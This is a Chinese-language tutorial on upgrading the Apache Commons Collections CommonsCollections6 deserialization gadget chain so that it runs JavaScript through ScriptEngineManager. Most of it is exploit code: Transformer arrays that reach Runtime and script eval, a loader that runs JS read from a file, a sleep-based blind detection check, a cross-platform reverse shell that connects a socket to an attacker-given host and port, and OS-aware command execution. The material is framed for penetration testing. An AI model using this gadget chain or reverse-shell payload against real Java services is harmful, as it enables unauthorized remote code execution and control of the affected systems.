CommonsCollections12之CommonsCollections6改造计划
字数 1204 2025-08-10 08:28:27
CommonsCollections12改造计划教学文档
0x01 背景与概述
Apache Commons Collections反序列化漏洞是Java安全领域的重要漏洞之一。本文档详细讲解如何改造CommonsCollections6这条gadget链,使其功能更加强大和完善。
0x02 原始gadget分析
原始CommonsCollections6的调用链如下:
java.util.HashMap.readObject()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
原始Transformer数组实现:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, cmd),
new ConstantTransformer(1)};
0x03 改造思路
原始实现仅能执行单条命令,存在以下局限性:
- 复杂命令需要base64编码
- Windows系统需依赖powershell
- Windows 2003等旧系统无powershell
- 文件操作复杂
改造方案:使用javax.script.ScriptEngineManager执行JavaScript代码,实现更复杂功能。
0x04 JDK内置JS引擎
javax.script.ScriptEngineManager支持多种脚本语言,JavaSE6自带JavaScript引擎(基于Mozilla Rhino)。
获取脚本引擎的三种方式:
- 通过名称获取:
getEngineByName("JavaScript") - 通过扩展名获取:
getEngineByExtension("js") - 通过MIME类型获取:
getEngineByMimeType("text/javascript")
反射调用示例:
Class clazz = Class.forName("javax.script.ScriptEngineManager");
Object manager = clazz.getDeclaredConstructor().newInstance();
Method getEngineByName = clazz.getDeclaredMethod("getEngineByName", String.class);
Object scriptEngine = getEngineByName.invoke(manager, "JavaScript");
Method eval = scriptEngine.getClass().getMethod("eval", String.class);
eval.invoke(scriptEngine, "println('Hello Word');");
JavaScript与Java混编注意事项
-
变量命名:JS是弱类型语言,使用
var声明变量var a; // 而不是String a var b; // 而不是int b -
异常捕捉:JS异常处理不需要声明类型
try { var a; } catch (e) { }
0x05 改造实现
核心Transformer改造
String[] execArgs = new String[]{cmd};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", new Class[0], new Object[0]),
new InvokerTransformer("getEngineByName",
new Class[]{String.class},
new Object[]{"JavaScript"}),
new InvokerTransformer("eval",
new Class[]{String.class}, execArgs),
new ConstantTransformer(1)};
功能扩展实现
1. 代码注入功能
当命令以CodeFile:开头时,从文件读取JS代码并执行:
if (command.startsWith("CodeFile:")) {
File codeFile = new File(command.substring(9));
StringBuilder result = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new FileReader(codeFile));
String s = null;
while ((s = br.readLine()) != null) {
result.append(s + "\n");
}
br.close();
} catch (Exception var20) {
var20.printStackTrace();
}
cmd = result.toString();
}
示例JS代码文件(1.java):
var a;
java.lang.Thread.sleep(3000);
2. 延迟注入检测
当命令以sleep-check-开头时,实现延迟检测:
if (command.startsWith("sleep-check-")) {
long i = Integer.parseInt(command.split("[-]")[2]) * 1000;
cmd = String.format("java.lang.Thread.sleep(%s);", i);
}
使用示例:sleep-check-10将延迟10秒
3. Shell反弹功能
当命令以connectback:开头时,实现跨平台反弹shell:
if (command.toLowerCase(Locale.ENGLISH).startsWith("connectback:")) {
// 参数校验逻辑...
String host = command.split(":")[1];
int port = Integer.parseInt(command.split(":")[2]);
cmd = String.format(
"var host = \"%s\";\n" +
"var port = %d;\n" +
"var p;\n" +
"var os = java.lang.System.getProperty(\"os.name\").toLowerCase(java.util.Locale.ENGLISH);\n" +
"if(os.contains(\"win\")){\n" +
" p = new java.lang.ProcessBuilder(\"cmd\").redirectErrorStream(true).start();\n" +
" }else{\n" +
" p = new java.lang.ProcessBuilder(\"sh\").redirectErrorStream(true).start();\n" +
" }\n" +
"var s = new java.net.Socket(host,port);\n" +
// ...完整socket处理逻辑
"p.destroy();\n" +
"s.close();",
host, port);
}
使用示例:connectback:127.0.0.1:80
4. 原始命令执行
自动判断操作系统类型执行命令:
cmd = "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n" +
"var cmd = new java.lang.String(\"" + command + "\");\n" +
"var listCmd = new java.util.ArrayList();\n" +
"var p = new java.lang.ProcessBuilder();\n" +
" if(isWin){\n" +
" p.command(\"cmd.exe\", \"/c\", cmd);\n" +
" }else{\n" +
" p.command(\"sh\", \"-c\", cmd);\n" +
" }\n" +
"p.redirectErrorStream(true);\n" +
"var process = p.start();";
0x06 测试验证
- 代码注入测试:验证从文件加载执行JS代码
- 延迟注入测试:验证延迟检测功能
- 反弹shell测试:验证跨平台反弹功能
- 普通命令执行:验证基础命令执行功能
0x07 总结
通过改造CommonsCollections6 gadget链,我们实现了:
- 支持从文件加载JS代码
- 支持无回显漏洞检测
- 支持跨平台反弹shell
- 自动适配不同操作系统执行命令
- 兼容旧系统(如Windows 2003)
这种改造显著提升了原始gadget的实用性和灵活性,适用于更复杂的渗透测试场景。